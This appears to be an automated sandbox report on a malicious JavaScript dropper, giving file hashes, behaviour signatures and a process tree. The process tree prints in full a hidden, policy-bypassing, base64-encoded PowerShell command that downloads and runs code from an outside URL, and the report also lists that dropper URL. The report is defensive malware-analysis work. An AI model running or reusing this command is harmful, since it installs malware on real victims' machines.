Analysis

  • max time kernel
    139s
  • max time network
    117s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/04/2024, 16:37

General

  • Target

    fab839dff3a6cd84eb5cc3e2402dbe4e_JaffaCakes118.js

  • Size

    112KB

  • MD5

    fab839dff3a6cd84eb5cc3e2402dbe4e

  • SHA1

    fddec087ccbb499446502746eede1620c5aa69c7

  • SHA256

    8b2a07f2c7959dfa4f95b80d28357fc8b36fb25715b06c5a2b770e9b7b1bf532

  • SHA512

    4fe392466c0d069c12773d862a40e614cf1052e09410f1d13f8375f8b3748c6f4d29a10a4ba1122654dbca1b5444302445ef16bc4e96d91c10ed65c1a5d8b360

  • SSDEEP

    3072:59Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIvt/4g5eaXj:59Ry9RuXqW4SzUHmLKeMMU7GwWBPwVG0

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\fab839dff3a6cd84eb5cc3e2402dbe4e_JaffaCakes118.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3724

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_slhkgxv5.0dv.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3724-1-0x0000021D3B300000-0x0000021D3B322000-memory.dmp

          Filesize

          136KB

        • memory/3724-11-0x00007FFF421A0000-0x00007FFF42C61000-memory.dmp

          Filesize

          10.8MB

        • memory/3724-13-0x0000021D3B350000-0x0000021D3B360000-memory.dmp

          Filesize

          64KB

        • memory/3724-12-0x0000021D3B350000-0x0000021D3B360000-memory.dmp

          Filesize

          64KB

        • memory/3724-14-0x0000021D3B350000-0x0000021D3B360000-memory.dmp

          Filesize

          64KB

        • memory/3724-15-0x0000021D3B350000-0x0000021D3B360000-memory.dmp

          Filesize

          64KB

        • memory/3724-18-0x00007FFF421A0000-0x00007FFF42C61000-memory.dmp

          Filesize

          10.8MB